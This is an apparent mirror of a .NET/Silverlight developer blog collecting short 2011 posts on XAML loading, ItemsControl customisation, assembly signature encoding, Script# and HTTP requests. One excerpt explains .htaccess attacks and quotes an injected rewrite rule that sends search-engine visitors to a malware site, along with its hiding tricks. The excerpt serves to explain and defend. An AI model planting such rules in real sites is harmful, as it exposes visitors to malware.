This is a mirror of official site: http://jasper-net.blogspot.com/

Silverlight Tip of the Day #60 – How to load a XAML Control From a File or String

| Friday, June 3, 2011
If you have a control written in XAML that is included in your project you can load and create it directly from file by using the method: System.Windows.Markup.XamlReader.Load().This method can also be used to directly create a Silverlight control from a string.

To demonstrate this I have created two functions called LoadFromXAML(). The first function takes takes as a parameter a URI that points to the XAML file in your project you want to load. The second takes as a parameter a string representation of the control.

public static object LoadFromXaml(Uri uri)
{
    System.Windows.Resources.StreamResourceInfo streamInfo = System.Windows.Application.GetResourceStream(uri);
 
    if ((streamInfo != null) && (streamInfo.Stream != null))
    {
        using (System.IO.StreamReader reader = new System.IO.StreamReader(streamInfo.Stream))
        {
            return System.Windows.Markup.XamlReader.Load(reader.ReadToEnd());
        }
    }
 
    return null;
}
public static object LoadFromXamlString(string xamlControl)
{
    return System.Windows.Markup.XamlReader.Load(xamlControl);
}

The above methods return a generic object that can be typecast to the object you are loading. For example:

Button myButton = (Button)LoadFromXaml(new Uri("/LoadXaml;component/MyButton.xaml", UriKind.Relative));

Posted via email from Jasper-net

Download Updated Thrutu Android App, brings a handful functions on your call screen

|
Downlaod-Updated-Thrutu-Android-App1.jpg

Wondering it would have been better to have some extra button on calling screen? Thrutu Android App exactly does it! With Thrutu, simply make a phone call in the normal way and Thrutu will automatically appear with these button to let you share location, contacts, photos and more – all at the touch of a button. If you both have Thrutu you’ll get live updating maps and near-instant sharing. If you don’t both have Thrutu, or if you don’t have simultaneous voice and data connections, then Thrutu will offer to share by SMS. Latest update to Thrutu Android App adds a ton of features. Some of them are described below in video demo of Thrutu Android App.

Posted via email from Jasper-net

Microsoft ships free malware cleaner that boots from CD or USB

| Thursday, June 2, 2011
Microsoft-Standalone-System-Sweeper-Tool.png

In a move aimed at cutting down on support call costs, Microsoft has released a malware recovery tool that boots from a CD or USB stick.

The tool, currently in beta, is called Microsoft Standalone System Sweeper, and promises to help start an infected PC and perform an offline scan to help identify and remove rootkits and other advanced malware.

In addition, Microsoft says the System Sweeper utility can be used if you cannot install or start an antivirus solution on your PC, or if the installed solution can’t detect or remove malware on your PC.

The company made it clear that the recovery tool is not a replacement for a full antivirus product.

It is available for both 32-but and 64-bit Windows systems and uses the same antivirus engine as the Microsoft Security Essentials product.

Just last month, the company shipped a free security tool called  Microsoft Safety Scanner to offer on-demand scanning to helps remove viruses, spyware, and other malicious software. The safety scanner works with existing antivirus software.

Read more: ZDNet
Read more: System Sweeper

Posted via email from Jasper-net

nstub

|
NStub is a unit test generator for .NET assemblies. You simply point NStub at the assembly containing the types you wish to test, pick the types and methods that your interested in from interface, choose where you want the resulting source files to be created at, and click GO!. That's all there is to it!

Read more: Google Code

Posted via email from Jasper-net

30,000 to 120,000 Android Users Affected by New Variant of Droid Dream Malware

| Tuesday, May 31, 2011
Between 30,000 and 120,000 users of Android devices are believed to have been affected by new mobile malware which has its roots in the earlier scourge known as Droid Dream. Like its predecessor, this variant, called Droid Dream Light, appears to have been created by the same developers whose malware had infected over 50 applications back in March. According to Lookout Security, the new malware was found in over 25 mobile applications, all of which Google has since removed from the Android Market.

Droid Dream "Light"
Droid Dream Light is a stripped down version of the original DroidDream, says Lookout. Its malicious components are invoked upon the receipt of a "android.intent.action.PHONE_STATE intent" - for example, an incoming phone call. That means that this variant is not dependent on the manual launch of the malicious application in order to trigger it into action. Instead, explains Lookout via blog post:

The broadcast receiver immediately launches the <package>.lightdd.CoreService which contacts remote servers and supplies the IMEI, IMSI, Model, SDK Version and information about installed packages.  It appears that the DDLight is also capable of downloading and prompting installation of new packages, though unlike its predecessors it is not capable of doing so without user intervention.

In other words, despite the malware's designation of "Light," in some ways it's actually more malicious as it requires no user actions to take place in order for it to launch.

Read more: Read Write Web

Posted via email from Jasper-net

ASP.NET Data Binding

| Monday, May 30, 2011
I have recently completed to cover the ASP.NET Data Binding topic in my ASP.NET course. You can find its community version available for free personal usage at www.abelski.com. The following video clips were prepared in order to explain the basics of this topics. Both the source code shown in these clips and the slides can be found at www.abelski.com.

Read more: Life Michael

Posted via email from Jasper-net

Anatomy of a .NET Assembly - Signature encodings

|
If you've just joined this series, I highly recommend you read the previous posts in this series, starting here, or at least these posts, covering the CLR metadata tables.

Before we look at custom attribute encoding, we first need to have a brief look at how signatures are encoded in an assembly in general.

Signature types

There are several types of signatures in an assembly, all of which share a common base representation, and are all stored as binary blobs in the #Blob heap, referenced by an offset from various metadata tables.

The types of signatures are:

Method definition and method reference signatures.
Field signatures
Property signatures
Method local variables. These are referenced from the StandAloneSig table, which is then referenced by method body headers.
Generic type specifications. These represent a particular instantiation of a generic type.
Generic method specifications. Similarly, these represent a particular instantiation of a generic method.
All these signatures share the same underlying mechanism to represent a type
Representing a type

All metadata signatures are based around the ELEMENT_TYPE structure. This assigns a number to each 'built-in' type in the framework; for example, Uint16 is 0x07, String is 0x0e, and Object is 0x1c. Byte codes are also used to indicate SzArrays, multi-dimensional arrays, custom types, and generic type and method variables. However, these require some further information.

Firstly, custom types (ie not one of the built-in types). These require you to specify the 4-byte TypeDefOrRef coded token after the CLASS (0x12) or VALUETYPE (0x11) element type. This 4-byte value is stored in a compressed format before being written out to disk (for more excruciating details, you can refer to the CLI specification).

Read more: Simple talk

Posted via email from Jasper-net

Getting started with Script#

|
Script# is a powerful framework that allows us to write C# code and be automatically translated into JavaScript. This article will present how Script# works and in what way can increase our productivity and improve the maintenance of our client-side libraries. Script# is created by Nikhil Kothari

What is Script#
Script# is C# to JavaScript compiler. That means that you write C# code and this code gets translated into JavaScript. This process I happening at development time and not at runtime. So, when you finish authoring your scripts in C# a JavaScript file will be produced in the output folder that you can then reference inside your project.

NOTE
Script# is not a tool that will help you port your .NET application into JavaScript. Instead is a tool that will help you write JavaScript code you normally would write with C#.

Why Script#
Naturally the first question that pops in to your mind is why? Why someone would want to create another dependency to the project?

As I mention above Script# will help you deal with JavaScript code that you would normally write by hand. The output of Script# is a JavaScript file. That means that you haven't added any dependencies to your project. You had JavaScript files before Script#, you have JavaScript files after.

But, those files are auto-generated. Auto-Generated files are often bad-written. If I wanted to leave Script# behind me and go back to writing pure JavaScript could I edit those files?

Script# produces scripts that feel hand-written. This is handy in a situation where you want to manually edit those files or you want to debug those files client-side (ex: with Firebug)

Let's see our first example. We have a function that takes a string and creates and alert message. After this message is displayed and the user clicks OK a callback function a being executed.

private void ShowMessage(string message, Action callback)
{
    Script.Alert(message);
    callback();
}

function _showMessage(message, callback) {        
alert(message);
callback();
}

Read more: dot Net Slackers

Posted via email from Jasper-net

Marrying Java to Microsoft .NET in the Cloud

|
There’s nothing particularly new about having to integrate applications built using diverse programming models. What is changing is the venue where that integration is starting to take place. As cloud computing continues to evolve, it’s becoming pretty clear that IT organizations are going to have to start integrating applications outside the four walls of the data center.
To help address this issue, JNBridge released today version 6.0 of its JNBridgePro middleware platform for integrating Java and Microsoft .NET frameworks. According to JNBridge CTO Wayne Citrin, the new release extends the capabilities of the company’s middleware platform to cloud computing environments both inside and outside the enterprise.
Obviously, IT organizations can accomplish many of the same things using Web services and REST interfaces and little brute force. But Citrin says that JNBridgePro is designed to provide a richer set of application programming interfaces that provide much better levels of performance. In addition, as a superset of many programming interfaces, JNBridgePro is a lot more accessible and results in better overall performance across disparate programming models, he said.
JNBridgePro is designed to be a plug-in for both Eclipse and Visual Studio development environments, which Citrin says is one of the things that make the company’s middleware so accessible to developers.

JNBridge3.gif

Read more: CTO Edge

Posted via email from Jasper-net

Understanding .htaccess attacks – Part 1

|
Attackers have been using the .htaccess file for a while. They use this file to hide malware, to redirect search engines to their own sites (think blackhat SEO), and for many other purposes (hide backdoors, inject content, to modify the php.ini values, etc).

Why do they use the .htaccess file? For multiple reasons. First, the .htaccess is a hidden file (starting with a “.”), so some site owners might not find them in their FTP clients. Secondly, it is a powerful file that allows you to make multiple changes to the web server and PHP behavior. This makes a .htaccess the attack hard to find and to clean up.

1- Redirecting users coming from search engines to malware

This is the most simple type of .htaccess attack, and the one we see more often. This is what gets added to the .htaccess file of a hacked site:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
..
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]

As you can see, it will check the referrer from anyone visiting the site and if the user came from a Google search (or yahoo or bing or any search engine), it will redirect the user to a page with malware (in this example http://villusoftreit.ru/in.cgi?3). Note that if you type the site directly in the address bar of your browser, nothing will happen. Why? It makes harder for the owner of the site to detect the attack, since they will probably type the site name, and not search for it on Google.

Below is another example of the same attack, but this time redirecting to http://globalpoweringgatheringon.com/in.php?n=30 (one of those Hilary kneber domains). Note that this time, they’v added hundreds of white spaces before the “RewriteCond” to make it harder to see in a text editor (We removed below to make easier to read in the post).

Read more: Sucuri

Posted via email from Jasper-net

How to prevent ILDASM from disassembling my .NET code

|
Long story short – you can use SuppressIldasmAttribute attribute. However, please note that it won’t prevent decompilers (such as .NET Reflector, ILSpy or JustDecompile) from reverse engineering your code.

Here are the details:

What is IL?

Intermediate Language (IL) is CPU-independent instructions and any managed (.NET) code is compiled into IL during compile time. This IL code then compiles into CPU-specific code during runtime, mostly by Just InTime (JIT) compiler.

What is ILDASM?

ILDASM is a tool installed by Visual Studio or .NET SDK and it takes a managed DLL or EXE and produces the IL code which is human readeble clear text.

How to get IL code from an assembly

For example, consider the following code:

using System;
using System.Text;
 
namespace HelloWorld
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Hello world...");
        }
    }
}

Put this code in a console project and build it, you will have an EXE file.

Posted via email from Jasper-net

Structure of an HTTP request

|
HTTP requests are not as mysterious as they may seem. Justin James helps make them more accessible by providing an overview of the common items in an HTTP request.

I recently wrote about using Fiddler to examine HTTP traffic for debugging purposes. To better use the information, it helps to know a bit about the guts of the HTTP specification. In this column, I’ll focus on the common items in an HTTP request, so you’ll know what the information means when you see it in a debugger.

The beginning of the HTTP request will have the request line, which will be followed by up to three headers: a general header, a request header, and an entity header. After that will be the message body. The request line specifies the method type (such as GET or POST), the URI requested, and the version of HTTP to use (the current standard is 1.1). Here is the full list of defined method types:
  • OPTIONS
  • GET
  • HEAD
  • POST
  • PUT
  • DELETE
  • TRACE
  • CONNECT

The URI is not necessarily the full URI (an absolute URI); for example, you can have the host specified in headers and use a relative URI. However, the specification says you should only use the absolute URI when communicating with a proxy server, and that normally you use the absolute path followed by a host header.

Read more: Tech Republic

Posted via email from Jasper-net

Real-time 3D design tool, MachStudio Pro, now free (as in free, not even reg-ware)

|
BZ_002.jpg  BZ_004.jpg

Last week it was $4000, now it is free ;)

What is MachStudio Pro?

MachStudio Pro is stand-alone, visualization and rendering software that lets 3D artists create and manipulate lights, materials, and HDR cameras in a real-time, non-linear workflow environment to achieve film quality results..."

Posted via email from Jasper-net

How to use ItemsControl In silverlight applications

|
While working on a new project I had to evluate use of Silverlight controls to replace existing ASP.Net controls and lot of javascript. One of the features of the application required listing of search results in a list. In ASP.Net application I am using Repeater control so I could control rendering of individual results through a custom template. After digging around in Silverlight documentation I found that ItemsControl provides the same features as Repeater control. This article series is to demonstrate how to use ItemsControl in Silverlight applications. This first article will demonstrate following features.

How to use ItemsControl silverlight control?
How to call into Amazon.com web services to search for products?
In next set of articles I will demonstrate how you can control rendering of items in ItemsControl and more advanced use of the control.

What is ItemsControl?

You can read more about basics of this control in Silverlight control. I will summarize it as a control that you can bind to your data (collections) to display list of items. At the heart of this control are following items that you will need to provide bare minimum meaningful implementation.

<ItemsControl>
<ItemsControl.Template>
<ItemsPresenter></ItemsPresenter>
</ItemsControl.Template>
<ItemsControl.ItemsPanel>
<ItemsPanelTemplate />
</ItemsControl.ItemsPanel>
<ItemsControl.ItemTemplate>
<DataTemplate />
</ItemsControl.ItemTemplate>
</ItemsControl>

ItemsControl.Template is used to specify template for shell of the control. For example if you want that your list should have a border or should have some background or to specify font for all elements of list, you can specify those attributes in this block. For example in my case, I wanted to display a blue border around the list and want to make sure that vertical scrollbar appears if number of items do not fit in the specified height for this control. XAML for my example looks like following.

<ItemsControl.Template>
<ControlTemplate TargetType="ItemsControl">
<Border BorderBrush="Blue" BorderThickness="1">
<ScrollViewer VerticalScrollBarVisibility="Auto">
<ItemsPresenter />
</ScrollViewer>
</Border>
</ControlTemplate>
</ItemsControl.Template>

Read more: ByteBlocks

Posted via email from Jasper-net

How to customize an ItemsControl

|
Introduction
 

If you are a Silverlight developer there will be a moment when you’ll look at a ListBox and not be happy with its default behavior. You are not exactly a beginner – you know how to style and retemplatize controls and even how to write your own custom controls – in fact you did that quite a few times. Depending on what changes are needed you’ll consider different solutions. Modifying the style and template of the ListBox comes to mind but it is not very clear how to achieve some of the customizations even if you are willing to modify the template of the ListBox. If the changes you need are substantial you may be willing to write a custom control but in the case of a ListBox this appears to be more difficult than expected. A ListBox is not just a simple control. It is a container that manages a collection. And it is more than a container in the sense that a Grid or a Canvas are containers. A ListBox has an ItemsSource that can be bound to a data source. Writing a custom ListBox is quite different than writing a custom Panel.

 If you recognize yourself in this, then this article is for you.

You will see that in most cases customizing a list is not that hard. A couple of things are worth mentioning from start. First, there are plenty of ways you can customize a ListBox without needing to write a custom control. Second, the main character in this story is the class ItemsControl and not ListBox. You may be more familiar with the ListBox but most of the concepts we are going to analyze belong to the ItemsControl. If you get to write a custom list it is much more likely that you’ll inherit your class from ItemsControl rather than from ListBox.

The examples discussed in this article are illustrated in a sample Silverlight application you can view at http://www.ladimolnar.com/Projects/ItemsControlDemo. You can download the code from http://www.ladimolnar.com/Sources/ItemsControlDemo.zip.

When you don’t need to customize anything at all
 

We’ll start with a very simple case but one that surprisingly gives headaches to a lot of people. Let’s suppose you need to show a ListBox that does not have any mouse over or selection effect. Actually your list does not even have the concept of “selected”. It seems that the otherwise useful features of the regular ListBox are just getting in your way.

The solution to this problem is very simple. All you have to do is to replace the ListBox with the ItemsControl. The ListBox itself is an ItemsControl with additional features that in this case you don’t need. As you see in Figure 1, the ItemsSource will allow you to bind to the data and the ItemTemplate will allow you to specify the visuals in the same way they do for a ListBox.

 
<ItemsControl
    ItemsSource="{Binding ProductList}"
    ItemTemplate="{StaticResource ProductItemTemplate}" />
 
Figure 1

The inner workings of an ItemsControl
 

Before we go any further, it will be useful to talk a little bit about how the ItemsControl class works. When things will be simpler to illustrate with a ListBox I will refer to it as well but all the fundamental concepts discussed here apply to both. Remember that ListBox inherits from ItemsControl.

Read more: LadiMolnar.com

Posted via email from Jasper-net

A comprehensive list to Silverlight Controls for developers

| Sunday, May 29, 2011
I’ve written a few times about some of the controls that have been provided by organizations like Telerik and ComponentOne.  I figured it would be a good idea to do a larger dump of those that I’m aware of (and hope you add comments to point me to others so I can amend this list) and help make you aware of them as well.  There are a ton of great resources out there for Silverlight developers and I’m always impressed how our developer partners are extending our platforms to make tools for developers (and most of the time better than we do :-)). 

Here’s my round-up of controls (alphabetically – links here will jump to their section):

Posted via email from Jasper-net